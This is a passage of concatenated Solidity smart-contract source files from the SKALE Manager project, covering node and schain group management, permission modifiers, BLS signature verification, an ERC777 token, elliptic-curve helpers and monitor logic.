getActiveNodeIds - get array of indexes of Active Nodes * @return activeNodeIds - array of indexes of Active Nodes */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } function getValidatorId(uint nodeIndex) external view returns (uint) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].validatorId; } function getNodeStatus(uint nodeIndex) external view returns (NodeStatus) { return nodes[nodeIndex].status; } function initialize(address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; } /** * @dev isNodeActive - checks if Node status Active * @param nodeIndex - index of Node * @return if Node status Active - true, else - false */ function isNodeActive(uint nodeIndex) public view returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } function moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) internal { uint8 previousSpace = spaceOfNodes[nodeIndex].freeSpace; uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; if (indexInArray < spaceToNodes[previousSpace].length - 1) { uint shiftedIndex = spaceToNodes[previousSpace][spaceToNodes[previousSpace].length - 1]; spaceToNodes[previousSpace][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; spaceToNodes[previousSpace].length--; } else { spaceToNodes[previousSpace].length--; } spaceToNodes[newSpace].push(nodeIndex); spaceOfNodes[nodeIndex].freeSpace = newSpace; spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[newSpace].length - 1; } } /* SchainsFunctionalityInternal.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "./GroupsFunctionality.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/IConstants.sol"; import "./SchainsData.sol"; /** * @title SchainsFunctionality - contract contains all functionality logic to manage Schains */ contract SchainsFunctionalityInternal is GroupsFunctionality { // informs that Schain based on some Nodes event SchainNodes( string name, bytes32 groupIndex, uint[] nodesInGroup, uint32 time, uint gasSpend ); /** * @dev createGroupForSchain - creates Group for Schain * @param schainName - name of Schain * @param schainId - hash by name of Schain * @param numberOfNodes - number of Nodes needed for this Schain * @param partOfNode - divisor of given type of Schain */ function createGroupForSchain( string calldata schainName, bytes32 schainId, uint numberOfNodes, uint8 partOfNode) external allow(executorName) { address dataAddress = contractManager.getContract(dataName); addGroup(schainId, numberOfNodes, bytes32(uint(partOfNode))); uint[] memory numberOfNodesInGroup = generateGroup(schainId); SchainsData(dataAddress).setSchainPartOfNode(schainId, partOfNode); emit SchainNodes( schainName, schainId, numberOfNodesInGroup, uint32(block.timestamp), gasleft()); } /** * @dev getNodesDataFromTypeOfSchain - returns number if Nodes * and part of Node which needed to this Schain * @param typeOfSchain - type of Schain * @return numberOfNodes - number of Nodes needed to this Schain * @return partOfNode - divisor of given type of Schain */ function getNodesDataFromTypeOfSchain(uint typeOfSchain) external view returns (uint numberOfNodes, uint8 partOfNode) { address constantsAddress = contractManager.getContract("ConstantsHolder"); numberOfNodes = IConstants(constantsAddress).NUMBER_OF_NODES_FOR_SCHAIN(); if (typeOfSchain == 1) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).TINY_DIVISOR(); } else if (typeOfSchain == 2) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).SMALL_DIVISOR(); } else if (typeOfSchain == 3) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).MEDIUM_DIVISOR(); } else if (typeOfSchain == 4) { partOfNode = 0; numberOfNodes = IConstants(constantsAddress).NUMBER_OF_NODES_FOR_TEST_SCHAIN(); } else if (typeOfSchain == 5) { partOfNode = IConstants(constantsAddress).TINY_DIVISOR() / IConstants(constantsAddress).MEDIUM_TEST_DIVISOR(); numberOfNodes = IConstants(constantsAddress).NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN(); } else { revert("Bad schain type"); } } function removeNodeFromSchain(uint nodeIndex, bytes32 groupHash) external allowTwo(executorName, "SkaleDKG") { address schainsDataAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsData"))); uint groupIndex = findSchainAtSchainsForNode(nodeIndex, groupHash); uint indexOfNode = findNode(groupHash, nodeIndex); IGroupsData(schainsDataAddress).removeNodeFromGroup(indexOfNode, groupHash); // IGroupsData(schainsDataAddress).removeExceptionNode(groupHash, nodeIndex); SchainsData(schainsDataAddress).removeSchainForNode(nodeIndex, groupIndex); } function removeNodeFromExceptions(bytes32 groupHash, uint nodeIndex) external allow(executorName) { address schainsDataAddress = contractManager.contracts(keccak256(abi.encodePacked("SchainsData"))); IGroupsData(schainsDataAddress).removeExceptionNode(groupHash, nodeIndex); } function isEnoughNodes(bytes32 groupIndex) external view returns (uint[] memory result) { IGroupsData groupsData = IGroupsData(contractManager.getContract(dataName)); INodesData nodesData = INodesData(contractManager.getContract("NodesData")); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); uint[] memory nodesWithFreeSpace = nodesData.getNodesWithFreeSpace(space); uint counter = 0; for (uint i = 0; i < nodesWithFreeSpace.length; i++) { if (!isCorrespond(groupIndex, nodesWithFreeSpace[i])) { counter++; } } if (counter < nodesWithFreeSpace.length) { result = new uint[](nodesWithFreeSpace.length.sub(counter)); counter = 0; for (uint i = 0; i < nodesWithFreeSpace.length; i++) { if (isCorrespond(groupIndex, nodesWithFreeSpace[i])) { result[counter] = nodesWithFreeSpace[i]; counter++; } } } } function isAnyFreeNode(bytes32 groupIndex) external view returns (bool) { IGroupsData groupsData = IGroupsData(contractManager.getContract(dataName)); INodesData nodesData = INodesData(contractManager.getContract("NodesData")); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); uint[] memory nodesWithFreeSpace = nodesData.getNodesWithFreeSpace(space); for (uint i = 0; i < nodesWithFreeSpace.length; i++) { if (isCorrespond(groupIndex, nodesWithFreeSpace[i])) { return true; } } return false; } /** * @dev selectNodeToGroup - pseudo-randomly select new Node for Schain * @param groupIndex - hash of name of Schain * @return nodeIndex - global index of Node */ function selectNodeToGroup(bytes32 groupIndex) external allow(executorName) returns (uint) { IGroupsData groupsData = IGroupsData(contractManager.getContract(dataName)); SchainsData schainsData = SchainsData(contractManager.getContract(dataName)); require(groupsData.isGroupActive(groupIndex), "Group is not active"); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); uint[] memory possibleNodes = this.isEnoughNodes(groupIndex); require(possibleNodes.length > 0, "No any free Nodes for rotation"); uint nodeIndex; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); do { uint index = random % possibleNodes.length; nodeIndex = possibleNodes[index]; random = uint(keccak256(abi.encodePacked(random, nodeIndex))); } while (groupsData.isExceptionNode(groupIndex, nodeIndex)); require(removeSpace(nodeIndex, space), "Could not remove space from nodeIndex"); schainsData.addSchainForNode(nodeIndex, groupIndex); groupsData.setException(groupIndex, nodeIndex); groupsData.setNodeInGroup(groupIndex, nodeIndex); return nodeIndex; } function initialize(address newContractsAddress) public initializer { GroupsFunctionality.initialize("SchainsFunctionality", "SchainsData", newContractsAddress); } /** * @dev findSchainAtSchainsForNode - finds index of Schain at schainsForNode array * @param nodeIndex - index of Node at common array of Nodes * @param schainId - hash of name of Schain * @return index of Schain at schainsForNode array */ function findSchainAtSchainsForNode(uint nodeIndex, bytes32 schainId) public view returns (uint) { address dataAddress = contractManager.contracts(keccak256(abi.encodePacked(dataName))); uint length = SchainsData(dataAddress).getLengthOfSchainsForNode(nodeIndex); for (uint i = 0; i < length; i++) { if (SchainsData(dataAddress).schainsForNodes(nodeIndex, i) == schainId) { return i; } } return length; } /** * @dev generateGroup - generates Group for Schain * @param groupIndex - index of Group */ function generateGroup(bytes32 groupIndex) internal returns (uint[] memory nodesInGroup) { IGroupsData groupsData = IGroupsData(contractManager.getContract(dataName)); SchainsData schainsData = SchainsData(contractManager.getContract(dataName)); require(groupsData.isGroupActive(groupIndex), "Group is not active"); // uint numberOfNodes = setNumberOfNodesInGroup(groupIndex, uint(groupsData.getGroupData(groupIndex)), address(groupsData)); uint8 space = uint8(uint(groupsData.getGroupData(groupIndex))); // (numberOfNodes, space) = setNumberOfNodesInGroup(groupIndex, uint(groupsData.getGroupData(groupIndex)), address(groupsData)); nodesInGroup = new uint[](groupsData.getRecommendedNumberOfNodes(groupIndex)); uint[] memory possibleNodes = this.isEnoughNodes(groupIndex); require(possibleNodes.length >= nodesInGroup.length, "Not enough nodes to create Schain"); uint ignoringTail = 0; uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number - 1)), groupIndex))); for (uint i = 0; i < nodesInGroup.length; ++i) { uint index = random % (possibleNodes.length.sub(ignoringTail)); uint node = possibleNodes[index]; nodesInGroup[i] = node; swap(possibleNodes, index, possibleNodes.length.sub(ignoringTail) - 1); ++ignoringTail; groupsData.setException(groupIndex, node); schainsData.addSchainForNode(node, groupIndex); require(removeSpace(node, space), "Could not remove space from Node"); } // set generated group groupsData.setNodesInGroup(groupIndex, nodesInGroup); emit GroupGenerated( groupIndex, nodesInGroup, uint32(block.timestamp), gasleft()); } /** * @dev removeSpace - occupy space of given Node * @param nodeIndex - index of Node at common array of Nodes * @param space - needed space to occupy * @return if ouccupied - true, else - false */ function removeSpace(uint nodeIndex, uint8 space) internal returns (bool) { address nodesDataAddress = contractManager.getContract("NodesData"); return INodesData(nodesDataAddress).removeSpaceFromNode(nodeIndex, space); } function isCorrespond(bytes32 groupIndex, uint nodeIndex) internal view returns (bool) { IGroupsData groupsData = IGroupsData(contractManager.contracts(keccak256(abi.encodePacked(dataName)))); INodesData nodesData = INodesData(contractManager.contracts(keccak256(abi.encodePacked("NodesData")))); return !groupsData.isExceptionNode(groupIndex, nodeIndex) && nodesData.isNodeActive(nodeIndex); } } /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./ContractManager.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; /** * @title Permissions - connected module for Upgradeable approach, knows ContractManager * @author Artem Payvin */ contract Permissions is Ownable { using SafeMath for uint; using SafeMath for uint32; ContractManager contractManager; function initialize(address _contractManager) public initializer { Ownable.initialize(msg.sender); contractManager = ContractManager(_contractManager); } /** * @dev allow - throws if called by any account and contract other than the owner * or `contractName` contract * @param contractName - human readable name of contract */ modifier allow(string memory contractName) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName))) == msg.sender || isOwner(), "Message sender is invalid"); _; } modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName1))) == msg.sender || contractManager.contracts(keccak256(abi.encodePacked(contractName2))) == msg.sender || isOwner(), "Message sender is invalid"); _; } modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.contracts(keccak256(abi.encodePacked(contractName1))) == msg.sender || contractManager.contracts(keccak256(abi.encodePacked(contractName2))) == msg.sender || contractManager.contracts(keccak256(abi.encodePacked(contractName3))) == msg.sender || isOwner(), "Message sender is invalid"); _; } } /* SkaleVerifier.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; contract SkaleVerifier is Permissions { uint constant P = 21888242871839275222246405745257275088696311157297823662689037894645226208583; uint constant G2A = 10857046999023057135944570762232829481370756359578518086990519993285655852781; uint constant G2B = 11559732032986387107991004021392285783925812861821192530917403151452391805634; uint constant G2C = 8495653923123431417604973247489272438418190587263600148770280649306958101930; uint constant G2D = 4082367875863433681332203403145435568316851327593401208105741076214120093531; uint constant TWISTBX = 19485874751759354771024239261021720505790618469301721065564631296452457478373; uint constant TWISTBY = 266929791119991161246907387137283842545076965332900288569378510910307636690; struct Fp2 { uint x; uint y; } function verifySchainSignature( uint signA, uint signB, bytes32 hash, uint counter, uint hashA, uint hashB, string calldata schainName ) external view returns (bool) { if (!checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } address schainsDataAddress = contractManager.getContract("SchainsData"); (uint pkA, uint pkB, uint pkC, uint pkD) = IGroupsData(schainsDataAddress).getGroupsPublicKey( keccak256(abi.encodePacked(schainName)) ); return verify( signA, signB, hash, counter, hashA, hashB, pkA, pkB, pkC, pkD ); } function initialize(address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); } function verify( uint signA, uint signB, bytes32 hash, uint counter, uint hashA, uint hashB, uint pkA, uint pkB, uint pkC, uint pkD) public view returns (bool) { if (!checkHashToGroupWithHelper( hash, counter, hashA, hashB ) ) { return false; } uint newSignB; if (!(signA == 0 && signB == 0)) { newSignB = P.sub((signB % P)); } else { newSignB = signB; } require(isG1(signA, newSignB), "Sign not in G1"); require(isG1(hashA, hashB), "Hash not in G1"); require(isG2(Fp2({x: G2A, y: G2B}), Fp2({x: G2C, y: G2D})), "G2.one not in G2"); require(isG2(Fp2({x: pkA, y: pkB}), Fp2({x: pkC, y: pkD})), "Public Key not in G2"); bool success; uint[12] memory inputToPairing; inputToPairing[0] = signA; inputToPairing[1] = newSignB; inputToPairing[2] = G2B; inputToPairing[3] = G2A; inputToPairing[4] = G2D; inputToPairing[5] = G2C; inputToPairing[6] = hashA; inputToPairing[7] = hashB; inputToPairing[8] = pkB; inputToPairing[9] = pkA; inputToPairing[10] = pkD; inputToPairing[11] = pkC; uint[1] memory out; assembly { success := staticcall(not(0), 8, inputToPairing, mul(12, 0x20), out, 0x20) } require(success, "Pairing check failed"); return out[0] != 0; } function checkHashToGroupWithHelper( bytes32 hash, uint counter, uint hashA, uint hashB ) internal pure returns (bool) { uint xCoord = uint(hash) % P; xCoord = (xCoord.add(counter)) % P; uint ySquared = addmod(mulmod(mulmod(xCoord, xCoord, P), xCoord, P), 3, P); if (hashB < P / 2 || mulmod(hashB, hashB, P) != ySquared || xCoord != hashA) { return false; } return true; } // Fp2 operations function addFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { return Fp2({ x: addmod(a.x, b.x, P), y: addmod(a.y, b.y, P) }); } function scalarMulFp2(uint scalar, Fp2 memory a) internal pure returns (Fp2 memory) { return Fp2({ x: mulmod(scalar, a.x, P), y: mulmod(scalar, a.y, P) }); } function minusFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint first; uint second; if (a.x >= b.x) { first = addmod(a.x, P.sub(b.x), P); } else { first = P.sub(addmod(b.x, P.sub(a.x), P)); } if (a.y >= b.y) { second = addmod(a.y, P.sub(b.y), P); } else { second = P.sub(addmod(b.y, P.sub(a.y), P)); } return Fp2({ x: first, y: second }); } function mulFp2(Fp2 memory a, Fp2 memory b) internal pure returns (Fp2 memory) { uint aA = mulmod(a.x, b.x, P); uint bB = mulmod(a.y, b.y, P); return Fp2({ x: addmod(aA, mulmod(P - 1, bB, P), P), y: addmod(mulmod(addmod(a.x, a.y, P), addmod(b.x, b.y, P), P), P.sub(addmod(aA, bB, P)), P) }); } function squaredFp2(Fp2 memory a) internal pure returns (Fp2 memory) { uint ab = mulmod(a.x, a.y, P); uint mult = mulmod(addmod(a.x, a.y, P), addmod(a.x, mulmod(P - 1, a.y, P), P), P); return Fp2({ x: mult, y: addmod(ab, ab, P) }); } function inverseFp2(Fp2 memory a) internal view returns (Fp2 memory x) { uint t0 = mulmod(a.x, a.x, P); uint t1 = mulmod(a.y, a.y, P); uint t2 = mulmod(P - 1, t1, P); if (t0 >= t2) { t2 = addmod(t0, P.sub(t2), P); } else { t2 = P.sub(addmod(t2, P.sub(t0), P)); } uint t3 = bigModExp(t2, P - 2); x.x = mulmod(a.x, t3, P); x.y = P.sub(mulmod(a.y, t3, P)); } // End of Fp2 operations function isG1(uint x, uint y) internal pure returns (bool) { return mulmod(y, y, P) == addmod(mulmod(mulmod(x, x, P), x, P), 3, P); } function isG2(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { if (isG2Zero(x, y)) { return true; } Fp2 memory squaredY = squaredFp2(y); Fp2 memory res = minusFp2(minusFp2(squaredY, mulFp2(squaredFp2(x), x)), Fp2({x: TWISTBX, y: TWISTBY})); return res.x == 0 && res.y == 0; } function isG2Zero(Fp2 memory x, Fp2 memory y) internal pure returns (bool) { return x.x == 0 && x.y == 0 && y.x == 1 && y.y == 0; } function bigModExp(uint base, uint power) internal view returns (uint) { uint[6] memory inputToBigModExp; inputToBigModExp[0] = 32; inputToBigModExp[1] = 32; inputToBigModExp[2] = 32; inputToBigModExp[3] = base; inputToBigModExp[4] = power; inputToBigModExp[5] = P; uint[1] memory out; bool success; assembly { success := staticcall(not(0), 5, inputToBigModExp, mul(6, 0x20), out, 0x20) } require(success, "BigModExp failed"); return out[0]; } } pragma solidity 0.5.16; contract Migrations { address public owner; uint public last_completed_migration; modifier restricted() { if (msg.sender == owner) _; } constructor() public { owner = msg.sender; } function setCompleted(uint completed) external restricted { last_completed_migration = completed; } function upgrade(address new_address) external restricted { Migrations upgraded = Migrations(new_address); upgraded.setCompleted(last_completed_migration); } }/* SkaleToken.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./ERC777/LockableERC777.sol"; import "./Permissions.sol"; import "./interfaces/delegation/IDelegatableToken.sol"; import "./delegation/Punisher.sol"; import "./delegation/TokenState.sol"; /** * @title SkaleToken is ERC777 Token implementation, also this contract in skale * manager system */ contract SkaleToken is LockableERC777, Permissions, IDelegatableToken { string public constant NAME = "SKALE"; string public constant SYMBOL = "SKL"; uint public constant DECIMALS = 18; uint public constant CAP = 7 * 1e9 * (10 ** DECIMALS); // the maximum amount of tokens that can ever be created constructor(address contractsAddress, address[] memory defOps) LockableERC777("SKALE", "SKL", defOps) public { Permissions.initialize(contractsAddress); } /** * @dev mint - create some amount of token and transfer it to the specified address * @param operator address operator requesting the transfer * @param account - address where some amount of token would be created * @param amount - amount of tokens to mine * @param userData bytes extra information provided by the token holder (if any) * @param operatorData bytes extra information provided by the operator (if any) * @return returns success of function call. */ function mint( address operator, address account, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external allow("SkaleManager") //onlyAuthorized returns (bool) { require(amount <= CAP.sub(totalSupply()), "Amount is too big"); _mint( operator, account, amount, userData, operatorData ); return true; } function getAndUpdateDelegatedAmount(address wallet) external returns (uint) { return DelegationController(contractManager.getContract("DelegationController")).getAndUpdateDelegatedAmount(wallet); } function getAndUpdateSlashedAmount(address wallet) external returns (uint) { return Punisher(contractManager.getContract("Punisher")).getAndUpdateLockedAmount(wallet); } function getAndUpdateLockedAmount(address wallet) public returns (uint) { return TokenState(contractManager.getContract("TokenState")).getAndUpdateLockedAmount(wallet); } // private function _getAndUpdateLockedAmount(address wallet) internal returns (uint) { return getAndUpdateLockedAmount(wallet); } } /* ECDH.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "@openzeppelin/contracts/math/SafeMath.sol"; contract ECDH { using SafeMath for uint256; uint256 constant GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798; uint256 constant GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8; uint256 constant N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F; uint256 constant A = 0; function publicKey(uint256 privKey) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, GX, GY, 1 ); z = inverse(z); qx = mulmod(x, z, N); qy = mulmod(y, z, N); } function deriveKey( uint256 privKey, uint256 pubX, uint256 pubY ) external pure returns (uint256 qx, uint256 qy) { uint256 x; uint256 y; uint256 z; (x, y, z) = ecMul( privKey, pubX, pubY, 1 ); z = inverse(z); qx = mulmod(x, z, N); qy = mulmod(y, z, N); } function jAdd( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, N), mulmod(x2, z1, N), N), mulmod(z1, z2, N)); } function jSub( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (addmod(mulmod(z2, x1, N), mulmod(N.sub(x2), z1, N), N), mulmod(z1, z2, N)); } function jMul( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, x2, N), mulmod(z1, z2, N)); } function jDiv( uint256 x1, uint256 z1, uint256 x2, uint256 z2 ) public pure returns (uint256 x3, uint256 z3) { (x3, z3) = (mulmod(x1, z2, N), mulmod(z1, x2, N)); } function inverse(uint256 a) public pure returns (uint256 invA) { uint256 t = 0; uint256 newT = 1; uint256 r = N; uint256 newR = a; uint256 q; while (newR != 0) { q = r.div(newR); (t, newT) = (newT, addmod(t, (N.sub(mulmod(q, newT, N))), N)); (r, newR) = (newR, r.sub(q.mul(newR))); } return t; } function ecAdd( uint256 x1, uint256 y1, uint256 z1, uint256 x2, uint256 y2, uint256 z2 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 ln; uint256 lz; uint256 da; uint256 db; if ((x1 == 0) && (y1 == 0)) { return (x2, y2, z2); } if ((x2 == 0) && (y2 == 0)) { return (x1, y1, z1); } if ((x1 == x2) && (y1 == y2)) { (ln, lz) = jMul( x1, z1, x1, z1 ); (ln, lz) = jMul( ln, lz, 3, 1 ); (ln, lz) = jAdd( ln, lz, A, 1 ); (da, db) = jMul( y1, z1, 2, 1 ); } else { (ln, lz) = jSub( y2, z2, y1, z1 ); (da, db) = jSub( x2, z2, x1, z1 ); } (ln, lz) = jDiv( ln, lz, da, db ); (x3, da) = jMul( ln, lz, ln, lz ); (x3, da) = jSub( x3, da, x1, z1 ); (x3, da) = jSub( x3, da, x2, z2 ); (y3, db) = jSub( x1, z1, x3, da ); (y3, db) = jMul( y3, db, ln, lz ); (y3, db) = jSub( y3, db, y1, z1 ); if (da != db) { x3 = mulmod(x3, db, N); y3 = mulmod(y3, da, N); z3 = mulmod(da, db, N); } else { z3 = da; } } function ecDouble( uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { (x3, y3, z3) = ecAdd( x1, y1, z1, x1, y1, z1 ); } function ecMul( uint256 d, uint256 x1, uint256 y1, uint256 z1 ) public pure returns (uint256 x3, uint256 y3, uint256 z3) { uint256 remaining = d; uint256 px = x1; uint256 py = y1; uint256 pz = z1; uint256 acx = 0; uint256 acy = 0; uint256 acz = 1; if (d == 0) { return (0, 0, 1); } while (remaining != 0) { if ((remaining & 1) != 0) { (acx, acy, acz) = ecAdd( acx, acy, acz, px, py, pz ); } remaining = remaining / 2; (px, py, pz) = ecDouble(px, py, pz); } (x3, y3, z3) = (acx, acy, acz); } } pragma solidity 0.5.16; import "./Permissions.sol"; contract SlashingTable is Permissions { mapping (uint => uint) private _penalties; function setPenalty(string calldata offense, uint penalty) external onlyOwner { _penalties[uint(keccak256(abi.encodePacked(offense)))] = penalty; } function getPenalty(string calldata offense) external view returns (uint) { uint penalty = _penalties[uint(keccak256(abi.encodePacked(offense)))]; return penalty; } function initialize(address _contractManager) public initializer { Permissions.initialize(_contractManager); } } /* MonitorsFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./GroupsFunctionality.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/INodesData.sol"; import "./MonitorsData.sol"; contract MonitorsFunctionality is GroupsFunctionality { using StringUtils for string; event MonitorCreated( uint nodeIndex, bytes32 groupIndex, uint numberOfMonitors, uint32 time, uint gasSpend ); event MonitorUpgraded( uint nodeIndex, bytes32 groupIndex, uint numberOfMonitors, uint32 time, uint gasSpend ); event MonitorsArray( uint nodeIndex, bytes32 groupIndex, uint[] nodesInGroup, uint32 time, uint gasSpend ); event VerdictWasSent( uint indexed fromMonitorIndex, uint indexed toNodeIndex, uint32 downtime, uint32 latency, bool status, uint32 time, uint gasSpend ); event MetricsWereCalculated( uint forNodeIndex, uint32 averageDowntime, uint32 averageLatency, uint32 time, uint gasSpend ); event PeriodsWereSet( uint rewardPeriod, uint deltaPeriod, uint32 time, uint gasSpend ); event MonitorRotated( bytes32 groupIndex, uint newNode ); /** * addMonitor - setup monitors of node */ function addMonitor(uint nodeIndex) external allow(executorName) { address constantsAddress = contractManager.getContract("ConstantsHolder"); IConstants constantsHolder = IConstants(constantsAddress); bytes32 groupIndex = keccak256(abi.encodePacked(nodeIndex)); uint possibleNumberOfNodes = constantsHolder.NUMBER_OF_MONITORS(); addGroup(groupIndex, possibleNumberOfNodes, bytes32(nodeIndex)); uint numberOfNodesInGroup = setMonitors(groupIndex, nodeIndex); emit MonitorCreated( nodeIndex, groupIndex, numberOfNodesInGroup, uint32(block.timestamp), gasleft() ); } function upgradeMonitor(uint nodeIndex) external allow(executorName) { address constantsAddress = contractManager.getContract("ConstantsHolder"); IConstants constantsHolder = IConstants(constantsAddress); bytes32 groupIndex = keccak256(abi.encodePacked(nodeIndex)); uint possibleNumberOfNodes = constantsHolder.NUMBER_OF_MONITORS(); upgradeGroup(groupIndex, possibleNumberOfNodes, bytes32(nodeIndex)); uint numberOfNodesInGroup = setMonitors(groupIndex, nodeIndex); emit MonitorUpgraded( nodeIndex, groupIndex, numberOfNodesInGroup, uint32(block.timestamp), gasleft() ); } function deleteMonitor(uint nodeIndex) external allow(executorName) { bytes32 groupIndex = keccak256(abi.encodePacked(nodeIndex)); MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); data.removeAllVerdicts(groupIndex); data.removeAllCheckedNodes(groupIndex); uint[] memory nodesInGroup = data.getNodesInGroup(groupIndex); uint index; bytes32 monitorIndex; for (uint i = 0; i < nodesInGroup.length; i++) { monitorIndex = keccak256(abi.encodePacked(nodesInGroup[i])); (index, ) = find(monitorIndex, nodeIndex); if (index < data.getCheckedArrayLength(monitorIndex)) { data.removeCheckedNode(monitorIndex, index); } } deleteGroup(groupIndex); } function sendVerdict( uint fromMonitorIndex, uint toNodeIndex, uint32 downtime, uint32 latency) external allow(executorName) { uint index; uint32 time; bytes32 monitorIndex = keccak256(abi.encodePacked(fromMonitorIndex)); (index, time) = find(monitorIndex, toNodeIndex); require(time > 0, "Checked Node does not exist in MonitorsArray"); string memory message = "The time has not come to send verdict for "; require(time <= block.timestamp, message.strConcat(StringUtils.uint2str(toNodeIndex)).strConcat(" Node")); MonitorsData data = MonitorsData(contractManager.getContract("MonitorsData")); data.removeCheckedNode(monitorIndex, index); address constantsAddress = contractManager.getContract("ConstantsHolder"); bool receiveVerdict = time.add(IConstants(constantsAddress).deltaPeriod()) > uint32(block.timestamp); if 